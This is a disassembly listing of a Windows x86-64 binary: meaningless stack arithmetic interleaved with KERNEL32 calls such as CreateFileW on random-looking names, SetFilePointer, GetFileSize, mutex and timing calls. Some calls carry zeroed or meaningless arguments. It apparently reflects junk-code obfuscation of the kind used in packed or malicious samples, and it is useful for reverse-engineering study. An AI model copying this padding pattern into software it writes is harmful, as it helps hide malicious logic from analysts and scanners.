movsx eax, word [rsp + 0x1d0c]
movsx ecx, word [rsp + 0x1ddc]
sar eax, cl
mov word [rsp + 0x1d6c], ax
mov rax, qword [rsp + 0x9d48]
mov rcx, qword [rsp + 0x7ed8]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x82d0], rax
mov rax, qword [rsp + 0xa2f0]
mov ecx, dword [rsp + 0x473c]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x491c], eax
lea rax, [rsp + 0x353]
mov qword [rsp + 0xab68], rax
mov rax, qword [rsp + 0x9a68]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa390]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x75e8], rax
movzx eax, word [rsp + 0x968]
movzx ecx, word [rsp + 0x1cb0]
and eax, ecx
mov word [rsp + 0x1088], ax
mov r9d, 2
xor r8d, r8d
mov edx, 0xf7d9
mov rcx, qword [rsp + 0xa320]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x472c], eax
mov rax, qword [rsp + 0x9be8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa9e8]
sub rcx, rax
mov rax, rcx
mov qword [0x14022ba18], rax
movzx eax, byte [rsp + 0x99]
mov byte [rsp + 0x383], al
mov rax, qword [rsp + 0xa7d8]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x99c8]
mov qword [rsp + 0xab70], rcx
movzx ecx, al
mov rax, qword [rsp + 0xab70]
mov eax, dword [rax]
sar eax, cl
mov rcx, qword [rsp + 0xa550]
mov dword [rcx], eax
lea rcx, [rsp + 0xab40]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa460]
movsx eax, word [rax]
mov rcx, qword [rsp + 0xa628]
movsx ecx, word [rcx]
xor eax, ecx
mov word [rsp + 0x19f8], ax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x400
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.v8ZHTHez1gegjHSq0
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xab78], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x3a9
mov rcx, qword [rsp + 0x9e88]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x464c], eax
movzx eax, word [rsp + 0x178c]
movzx ecx, word [rsp + 0x1d9c]
shl eax, cl
mov word [rsp + 0x1d4c], ax
mov rax, qword [rsp + 0xa600]
mov rcx, qword [rsp + 0x9650]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0xa5f8], rax
lea rcx, [rsp + 0x9d28]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa730]
movzx eax, byte [rax]
mov byte [rsp + 0x384], al
mov rax, qword [rsp + 0x9c40]
mov eax, dword [rax]
mov ecx, dword [rsp + 0x4780]
sub ecx, eax
mov eax, ecx
mov dword [rsp + 0x4530], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DecodePointer]
lea rax, [0x14022ba68]
mov qword [rsp + 0xab80], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0xc0000000
lea rcx, str.V2p63y12pBNWdnz
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xab88], rax
movzx eax, word [rsp + 0x176c]
mov word [0x14022badc], ax
mov rax, qword [rsp + 0xa560]
mov rcx, qword [rsp + 0x98e0]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9ca0], rax
lea rax, [rsp + 0x8078]
mov qword [rsp + 0xab90], rax
mov rax, qword [0x14022b8d8]
mov rcx, qword [rsp + 0x9b60]
mov rcx, qword [rcx]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8ac8], rax
mov rax, qword [rsp + 0x9b80]
movsx eax, word [rax]
movsx ecx, word [rsp + 0xdd8]
and eax, ecx
mov rcx, qword [rsp + 0xa050]
mov word [rcx], ax
lea rax, [0x14022b811]
mov qword [rsp + 0xab98], rax
mov rcx, qword [rsp + 0xa088]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov rax, qword [rsp + 0x8f30]
movzx ecx, al
mov rax, qword [rsp + 0xa450]
shr rax, cl
mov qword [rsp + 0x9430], rax
lea rcx, [rsp + 0x9790]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rcx, qword [rsp + 0x9f50]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov eax, dword [rsp + 0x48d0]
mov dword [rsp + 0x4934], eax
mov rax, qword [rsp + 0x9bb0]
mov ecx, dword [rsp + 0x46ac]
mov eax, dword [rax]
and eax, ecx
mov rcx, qword [rsp + 0x9fc0]
mov dword [rcx], eax
mov rax, qword [rsp + 0xa1b8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0x9b18]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x36c], al
movzx eax, word [rsp + 0xc24]
mov word [0x14022bae0], ax
mov rax, qword [rsp + 0xa718]
movzx eax, word [rax]
movzx ecx, word [0x14022b898]
add eax, ecx
mov word [rsp + 0x1a0c], ax
mov rax, qword [rsp + 0xa2e0]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1d94]
and eax, ecx
mov word [rsp + 0x1cc0], ax
lea rax, [rsp + 0xa298]
mov qword [rsp + 0xaba0], rax
mov rax, qword [rsp + 0x9c20]
movsx eax, byte [rax]
mov rcx, qword [0x14022b9d0]
movsx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x346], al
lea rcx, [rsp + 0x9d30]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xaba8], rax
mov rax, qword [rsp + 0x9988]
mov rax, qword [rax]
movzx ecx, al
mov rax, qword [rsp + 0x7458]
shl rax, cl
mov qword [rsp + 0xaaa0], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xd204
mov rcx, qword [rsp + 0xa138]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x485c], eax
mov eax, dword [rsp + 0x47b4]
mov dword [rsp + 0x4938], eax
movsx eax, word [rsp + 0x1cb8]
mov rcx, qword [0x14022b9c8]
movsx ecx, word [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xa8c8]
mov word [rcx], ax
lea rdx, [rsp + 0x4858]
mov rcx, qword [rsp + 0xa370]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x493c], eax
mov r9d, 0x7a5
xor r8d, r8d
lea rdx, [rsp + 0x9bb8]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4734], eax
movzx eax, word [rsp + 0xb0c]
movzx ecx, word [rsp + 0x884]
or eax, ecx
mov word [rsp + 0x1508], ax
mov rax, qword [0x140229f60]
mov rcx, qword [rsp + 0xa4b8]
mov qword [rsp + 0xabb0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xabb0]
mov rax, qword [rax]
sar rax, cl
mov qword [0x140229f20], rax
mov rax, qword [rsp + 0xa588]
movzx eax, word [rax]
movzx ecx, word [rsp + 0xa58]
add eax, ecx
mov word [rsp + 0x1d00], ax
mov rax, qword [rsp + 0x9898]
mov rcx, qword [rsp + 0xa9a8]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x8ca8], rax
lea rax, [0x14022b9c0]
mov qword [rsp + 0xabb8], rax
mov rax, qword [rsp + 0xa798]
mov rcx, qword [rsp + 0xa400]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0xaaa0], rax
movzx eax, byte [rsp + 0x358]
mov byte [rsp + 0x385], al
lea rcx, [rsp + 0xa850]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0x9800]
mov eax, dword [rax]
mov rcx, qword [rsp + 0xa910]
mov qword [rsp + 0xabc0], rcx
movzx ecx, al
mov rax, qword [rsp + 0xabc0]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x4674], eax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x40
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 1
mov edx, 0x40000000
lea rcx, str.KuyQxjGQ2g0sQZ7Ov7bXVIcnscn
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xabc8], rax
mov rax, qword [rsp + 0x9a28]
movzx eax, byte [rax]
mov byte [rsp + 0x386], al
mov rax, qword [rsp + 0xa8f8]
mov rcx, qword [rsp + 0xa818]
mov ecx, dword [rcx]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x4230], eax
movsx eax, word [rsp + 0x1d8c]
movsx ecx, word [0x140229f3c]
and eax, ecx
mov rcx, qword [0x14022bac8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9c18]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d5c]
sub eax, ecx
mov word [rsp + 0x1c94], ax
lea rax, [rsp + 0x1cb4]
mov qword [rsp + 0xabd0], rax
movzx eax, word [0x14022ba38]
mov rcx, qword [rsp + 0x9720]
movzx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0x1d50], ax
mov rax, qword [rsp + 0xab28]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x372]
xor eax, ecx
mov byte [rsp + 0x2a4], al
lea rdx, [rsp + 0x4814]
mov rcx, qword [rsp + 0xaaf0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x46dc], eax
mov eax, dword [0x14022b878]
mov ecx, dword [rsp + 0x48dc]
or ecx, eax
mov eax, ecx
mov dword [rsp + 0x4774], eax
mov rax, qword [rsp + 0x9e00]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ef0]
mov qword [rsp + 0xabd8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xabd8]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa400], rax
mov rax, qword [rsp + 0x9f90]
movzx eax, word [rax]
mov word [rsp + 0x1de8], ax
movzx eax, word [rsp + 0x1cb0]
movzx ecx, word [rsp + 0x1cac]
sar eax, cl
mov word [rsp + 0xb0c], ax
mov rcx, qword [rsp + 0xa7a8]
call qword [sym.imp.KERNEL32.dll_ReleaseMutex]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 2
mov edx, 0x40000000
lea rcx, str.NQ8UYEuW59q
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xabe0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_MulDiv]
lea rcx, [rsp + 0x9920]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa260]
mov rcx, qword [rsp + 0x9198]
sub rcx, rax
mov rax, rcx
mov qword [0x140229fe0], rax
lea rax, [rsp + 0x7350]
mov qword [rsp + 0xabe8], rax
mov rax, qword [rsp + 0x9c78]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa720]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9d68]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa560]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9ed0]
and rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9c78]
mov qword [rcx], rax
lea rax, [rsp + 0x1dbc]
mov qword [rsp + 0xabf0], rax
lea rdx, [rsp + 0x4940]
mov rcx, qword [rsp + 0xa930]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x48cc], eax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetProcessVersion]
mov rax, qword [rsp + 0x9c88]
mov rcx, qword [rsp + 0x9b68]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x460c], eax
lea rax, [rsp + 0x36f]
mov qword [rsp + 0xabf8], rax
movsx eax, byte [rsp + 0x110]
mov rcx, qword [rsp + 0xaa18]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x35c], al
mov rax, qword [rsp + 0xa110]
mov rax, qword [rax]
mov rcx, qword [0x14022b808]
sub rcx, rax
mov rax, rcx
mov qword [rsp + 0x7e48], rax
lea rdx, [rsp + 0x4944]
mov rcx, qword [rsp + 0xaa90]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4908], eax
mov eax, dword [rsp + 0x47b4]
mov dword [0x14022bae4], eax
movsx eax, word [rsp + 0x1de8]
movsx ecx, word [rsp + 0x1268]
and eax, ecx
mov word [rsp + 0x17fc], ax
movsx eax, word [rsp + 0xb4c]
movsx ecx, word [rsp + 0xe24]
and eax, ecx
mov word [rsp + 0x10b4], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_TransmitCommChar]
lea rax, [rsp + 0x1dac]
mov qword [rsp + 0xac00], rax
mov rax, qword [rsp + 0xa5b8]
mov rcx, qword [rsp + 0x9ba8]
mov rcx, qword [rcx]
mov rax, qword [rax]
or rax, rcx
mov qword [rsp + 0x83f0], rax
lea rdx, [rsp + 0x4874]
mov rcx, qword [rsp + 0xab88]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x47f0], eax
lea rax, [rsp + 0x2a4]
mov qword [rsp + 0xac08], rax
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 0
xor r9d, r9d
mov r8d, 2
mov edx, 0xc0000000
lea rcx, str.7NVr16XUGSNtRDnOY7t5c2
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xac10], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetTapeStatus]
mov eax, dword [rsp + 0x4278]
mov ecx, dword [rsp + 0x482c]
xor ecx, eax
mov eax, ecx
mov dword [rsp + 0x47b4], eax
mov rax, qword [rsp + 0xa668]
mov rcx, qword [rsp + 0x99e0]
mov qword [rsp + 0xac18], rcx
movzx ecx, al
mov rax, qword [rsp + 0xac18]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0x6fd8], rax
movzx eax, word [rsp + 0xc24]
mov word [rsp + 0x1dec], ax
movzx eax, word [rsp + 0x1aec]
mov rcx, qword [rsp + 0xa430]
movzx ecx, word [rcx]
sar eax, cl
mov rcx, qword [0x14022b8b0]
mov word [rcx], ax
mov rax, qword [rsp + 0x9b90]
mov rcx, qword [0x14022baa8]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov rcx, qword [rsp + 0xa290]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa8d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x968]
add eax, ecx
mov word [rsp + 0x13c8], ax
mov rax, qword [rsp + 0x9fc0]
mov rcx, qword [rsp + 0x9b38]
mov ecx, dword [rcx]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4788], eax
mov rax, qword [rsp + 0xabf8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x29c]
sub eax, ecx
mov byte [rsp + 0x386], al
mov eax, dword [rsp + 0x4888]
mov dword [rsp + 0x4948], eax
lea rdx, [rsp + 0x46bc]
mov rcx, qword [rsp + 0xa578]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x486c], eax
mov rax, qword [rsp + 0xaa58]
mov rcx, qword [rsp + 0x9d18]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b08], rax
lea rax, [rsp + 0x364]
mov qword [rsp + 0xac20], rax
movsx eax, word [rsp + 0x1dc4]
mov rcx, qword [rsp + 0xa7b0]
movsx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x9f8], ax
movzx eax, word [rsp + 0x1cf8]
movzx ecx, word [0x14022bac4]
sar eax, cl
mov word [0x140229fe8], ax
mov rax, qword [rsp + 0x9db8]
mov rcx, qword [rsp + 0xa418]
mov rcx, qword [rcx]
mov rax, qword [rax]
sub rax, rcx
mov qword [rsp + 0x8d50], rax
mov rax, qword [rsp + 0xa3b0]
mov rax, qword [rax]
mov qword [rsp + 0xac28], rax
movsx eax, word [rsp + 0x1de4]
mov rcx, qword [0x14022ba70]
movsx ecx, word [rcx]
add eax, ecx
mov rcx, qword [rsp + 0x96a8]
mov word [rcx], ax
mov rax, qword [rsp + 0x9da0]
movzx eax, word [rax]
mov rcx, qword [rsp + 0xa718]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xe48], ax
lea rcx, [rsp + 0xac30]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0x9750]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x342]
or eax, ecx
mov byte [rsp + 0x371], al
lea rax, [0x14022bae4]
mov qword [rsp + 0xac38], rax
mov rax, qword [rsp + 0x9878]
mov rcx, qword [rsp + 0x9398]
mov rax, qword [rax]
xor rax, rcx
mov rcx, qword [rsp + 0xaa48]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa990]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9710]
mov qword [rsp + 0xac40], rcx
movzx ecx, al
mov rax, qword [rsp + 0xac40]
mov rax, qword [rax]
shl rax, cl
mov qword [rsp + 0xa0a8], rax
movsx eax, word [rsp + 0x98c]
movsx ecx, word [rsp + 0x1ca0]
sub eax, ecx
mov word [0x14022b87c], ax
mov rax, qword [rsp + 0xa4f0]
movzx eax, word [rax]
mov word [rsp + 0x1df0], ax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x2afa
mov rcx, qword [rsp + 0xa6d8]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x47d4], eax
mov rax, qword [rsp + 0x9998]
mov eax, dword [rax]
mov rcx, qword [rsp + 0x99c8]
mov qword [rsp + 0xac48], rcx
movzx ecx, al
mov rax, qword [rsp + 0xac48]
mov eax, dword [rax]
sar eax, cl
mov dword [rsp + 0x48bc], eax
lea rax, [rsp + 0x35d]
mov qword [rsp + 0xac50], rax
lea rdx, [rsp + 0x494c]
mov rcx, qword [rsp + 0xa320]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4728], eax
mov rax, qword [rsp + 0x9f78]
mov rcx, qword [rsp + 0xa280]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0x9348], rax
mov rax, qword [rsp + 0x9f88]
mov rcx, qword [0x14022b808]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x7450], rax
lea rax, [rsp + 0x350]
mov qword [rsp + 0xac58], rax
mov eax, dword [rsp + 0x491c]
mov ecx, dword [rsp + 0x471c]
sub ecx, eax
mov eax, ecx
mov rcx, qword [rsp + 0x9990]
mov dword [rcx], eax
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_FindFirstFileExW]
lea rax, [rsp + 0x1c90]
mov qword [rsp + 0xac60], rax
mov rax, qword [rsp + 0x9e98]
movzx eax, word [rax]
mov word [0x14022bae8], ax
lea rcx, [rsp + 0xa678]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa218]
mov rcx, qword [rsp + 0xa448]
mov rax, qword [rax]
add rax, rcx
mov qword [rsp + 0xa4f8], rax
mov rax, qword [rsp + 0xa330]
movzx eax, word [rax]
mov rcx, qword [rsp + 0x9e40]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0x1a84], ax
movsx eax, word [rsp + 0xa08]
mov rcx, qword [rsp + 0x9c18]
movsx ecx, word [rcx]
sar eax, cl
mov word [rsp + 0x1130], ax
mov rax, qword [rsp + 0x6f98]
mov rcx, qword [rsp + 0x9ba0]
or rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0x9d68]
mov qword [rcx], rax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetCommMask]
mov qword [rsp + 0x30], 0
mov dword [rsp + 0x28], 2
mov dword [rsp + 0x20], 5
xor r9d, r9d
mov r8d, 8
mov edx, 0x40000000
lea rcx, str.Ng3KoEdoHPQGPyETBPWagNzM9k3T
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov qword [rsp + 0xac68], rax
lea rcx, [rsp + 0xab60]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
mov rax, qword [rsp + 0xa5d0]
mov qword [rsp + 0xac70], rax
movsx eax, byte [rsp + 0x2a4]
mov rcx, qword [rsp + 0xa0b8]
movsx ecx, byte [rcx]
xor eax, ecx
mov rcx, qword [rsp + 0xac20]
mov byte [rcx], al
mov eax, dword [rsp + 0x3a24]
movzx ecx, al
mov eax, dword [rsp + 0x4768]
shl eax, cl
mov dword [rsp + 0x4894], eax
movzx eax, word [0x140229f7c]
mov word [rsp + 0x1df4], ax
mov rax, qword [rsp + 0xa0a8]
mov rcx, qword [rsp + 0xa748]
sub rcx, rax
mov rax, rcx
mov qword [0x14022b830], rax
movzx eax, byte [rsp + 0x369]
mov rcx, qword [rsp + 0xabf8]
movzx ecx, byte [rcx]
add eax, ecx
mov byte [rsp + 0x381], al
lea rax, [rsp + 0x4788]
mov qword [rsp + 0xac78], rax
mov rax, qword [rsp + 0xa1a8]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1d58]
sar eax, cl
mov rcx, qword [rsp + 0xa7b0]
mov word [rcx], ax
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_LocalShrink]
movzx eax, word [rsp + 0x1d24]
mov rcx, qword [rsp + 0xaa10]
movzx ecx, word [rcx]
sub eax, ecx
mov word [rsp + 0x7fc], ax
movsx eax, byte [rsp + 0x370]
movsx ecx, byte [rsp + 0x382]
add eax, ecx
mov byte [rsp + 0x37c], al
mov r9d, 2
xor r8d, r8d
mov edx, 0x674c
mov rcx, qword [rsp + 0xa890]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x47c8], eax
mov rax, qword [rsp + 0xaa50]
mov ecx, dword [rsp + 0x4774]
mov eax, dword [rax]
and eax, ecx
mov dword [rsp + 0x437c], eax
lea rax, [rsp + 0x8500]
mov qword [rsp + 0xac80], rax
movsx eax, word [0x14022ba20]
movsx ecx, word [rsp + 0x1c98]
and eax, ecx
mov rcx, qword [rsp + 0x9c00]
mov word [rcx], ax
movzx eax, word [rsp + 0x19bc]
movzx ecx, word [rsp + 0x1d4c]
add eax, ecx
mov word [0x14022b958], ax
mov rax, qword [0x14022bad0]
mov rax, qword [rax]
mov qword [rsp + 0xac88], rax
mov rax, qword [rsp + 0xa860]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa828]
mov qword [rsp + 0xac90], rcx
movzx ecx, al
mov rax, qword [rsp + 0xac90]
mov rax, qword [rax]
sar rax, cl
mov qword [rsp + 0xa1e0], rax
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexW]
mov qword [rsp + 0xac98], rax
mov rax, qword [rsp + 0x8180]
mov rcx, qword [rsp + 0x73c0]
xor rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xaa20]
mov qword [rcx], rax
mov rax, qword [rsp + 0x9f40]
movsx eax, word [rax]
movsx ecx, word [rsp + 0x1c90]
shl eax, cl
mov word [rsp + 0x12a8], ax
mov r9d, 1
xor r8d, r8d
mov edx, 0xaea7
mov rcx, qword [rsp + 0xa658]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4684], eax
mov rax, qword [rsp + 0x97e0]
mov ecx, dword [rsp + 0x4754]
mov eax, dword [rax]
or eax, ecx
mov dword [rsp + 0x4804], eax
lea rax, [rsp + 0x8500]
mov qword [rsp + 0xaca0], rax
mov rax, qword [rsp + 0x9750]
movsx eax, byte [rax]
movsx ecx, byte [rsp + 0x5c]
add eax, ecx
mov byte [rsp + 0x37f], al
mov rax, qword [rsp + 0x96e8]
movzx eax, byte [rax]
mov rcx, qword [rsp + 0xabf8]
movzx ecx, byte [rcx]
sub eax, ecx
mov byte [rsp + 0x369], al
mov rax, qword [rsp + 0xaac0]
mov eax, dword [rax]
mov dword [rsp + 0x4950], eax
lea rax, [0x140229fd0]
mov qword [0x14022baf0], rax
mov dword [rsp + 0x30], 0
mov dword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateW]
mov rax, qword [rsp + 0xa0d8]
movzx eax, word [rax]
movzx ecx, word [rsp + 0x1ca4]
sub eax, ecx
mov word [rsp + 0x1c8c], ax
mov r9d, 0x1bf7
xor r8d, r8d
lea rdx, [rsp + 0xa438]
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_WaitForMultipleObjects]
mov dword [rsp + 0x4954], eax
movzx eax, word [rsp + 0x1d48]
mov word [rsp + 0x1df8], ax
mov rax, qword [rsp + 0xa5b8]
mov rax, qword [rax]
mov rcx, qword [0x14022ba10]
mov qword [rsp + 0xaca8], rcx
movzx ecx, al
mov rax, qword [rsp + 0xaca8]
mov rax, qword [rax]
sar rax, cl
mov rcx, qword [rsp + 0xa710]
mov qword [rcx], rax
lea rax, [rsp + 0x4374]
mov qword [rsp + 0xacb0], rax
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_InitAtomTable]
mov rax, qword [rsp + 0xa1a0]
mov rcx, qword [rsp + 0xa130]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov rcx, qword [rsp + 0x9a68]
mov qword [rcx], rax
mov rax, qword [rsp + 0xa988]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0xa408]
movsx ecx, byte [rcx]
sub eax, ecx
mov rcx, qword [rsp + 0xa0f0]
mov byte [rcx], al
movsx eax, word [rsp + 0x1d54]
mov rcx, qword [rsp + 0xa8c8]
movsx ecx, word [rcx]
add eax, ecx
mov word [rsp + 0xab4], ax
movzx eax, word [rsp + 0x1d7c]
mov rcx, qword [rsp + 0xa268]
movzx ecx, word [rcx]
and eax, ecx
mov word [rsp + 0xa64], ax
lea rax, [rsp + 0xab58]
mov qword [0x14022baf8], rax
mov r9d, 2
xor r8d, r8d
mov edx, 0xd373
mov rcx, qword [rsp + 0x9b50]
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
mov dword [rsp + 0x4728], eax
mov rax, qword [rsp + 0x9d10]
movzx eax, word [rax]
mov word [rsp + 0x1dfc], ax
mov rax, qword [rsp + 0xa960]
mov rcx, qword [rsp + 0xab00]
mov rcx, qword [rcx]
mov rax, qword [rax]
and rax, rcx
mov qword [rsp + 0x8330], rax
mov rax, qword [rsp + 0x6f98]
mov rcx, qword [rsp + 0xa748]
add rcx, rax
mov rax, rcx
mov rcx, qword [rsp + 0xaa60]
mov qword [rcx], rax
lea rax, [rsp + 0x4718]
mov qword [rsp + 0xacb8], rax
mov rax, qword [0x14022b808]
mov rcx, qword [rsp + 0xaaa0]
xor rcx, rax
mov rax, rcx
mov qword [rsp + 0x9b98], rax
mov rax, qword [rsp + 0xa1b8]
movzx eax, byte [rax]
movzx ecx, byte [rsp + 0x8f]
or eax, ecx
mov byte [rsp + 0xef], al
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_DisableThreadLibraryCalls]
mov eax, dword [rsp + 0x4630]
movzx ecx, al
mov eax, dword [rsp + 0x48f0]
shl eax, cl
mov dword [rsp + 0x489c], eax
mov rax, qword [rsp + 0xa490]
movsx eax, byte [rax]
mov rcx, qword [rsp + 0x9fa8]
movsx ecx, byte [rcx]
sar eax, cl
mov byte [rsp + 0x366], al
movsx eax, word [rsp + 0x7b8]
movsx ecx, word [rsp + 0x1da4]
sub eax, ecx
mov word [0x140229fc8], ax
mov rax, qword [rsp + 0xa030]
movzx eax, word [rax]
mov word [rsp + 0x1e00], ax
movzx eax, word [rsp + 0x1d64]
movzx ecx, word [rsp + 0x1d78]
sub eax, ecx
mov word [rsp + 0x8b0], ax
movzx eax, word [rsp + 0x1dac]
mov word [rsp + 0x1e04], ax
lea rcx, [rsp + 0xacc0]
call qword [sym.imp.KERNEL32.dll_QueryPerformanceFrequency]
mov rax, qword [rsp + 0xa580]
mov ecx, dword [rsp + 0x4888]
mov eax, dword [rax]
add eax, ecx
mov dword [rsp + 0x4530], eax
movsx eax, byte [0x14022b812]
movsx ecx, byte [rsp + 0x36b]
sar eax, cl
mov rcx, qword [rsp + 0x9f18]
mov byte [rcx], al
mov rax, qword [rsp + 0x97e8]
mov rax, qword [rax]
mov rcx, qword [rsp + 0xa668]
and rcx, rax
mov rax, rcx
mov qword [rsp + 0x7960], rax
lea rdx, [rsp + 0x4714]
mov rcx, qword [rsp + 0xa4d0]
call qword [sym.imp.KERNEL32.dll_GetFileSize]
mov dword [rsp + 0x4908], eax
movsx eax, word [rsp + 0x1cdc]
movsx ecx, word [0x14022b828]
and eax, ecx
mov word [rsp + 0x10c0], ax
movzx eax, word [rsp + 0x15f8]
mov word [rsp + 0x1e08], ax
mov rax, qword [rsp + 0x9d38]
mov rax, qword [rax]
mov rcx, qword [rsp + 0x9a80]
sub rcx, rax
mov rax, rcx
mov rcx, qword [0x14022b8d8]
mov qword [rcx], rax
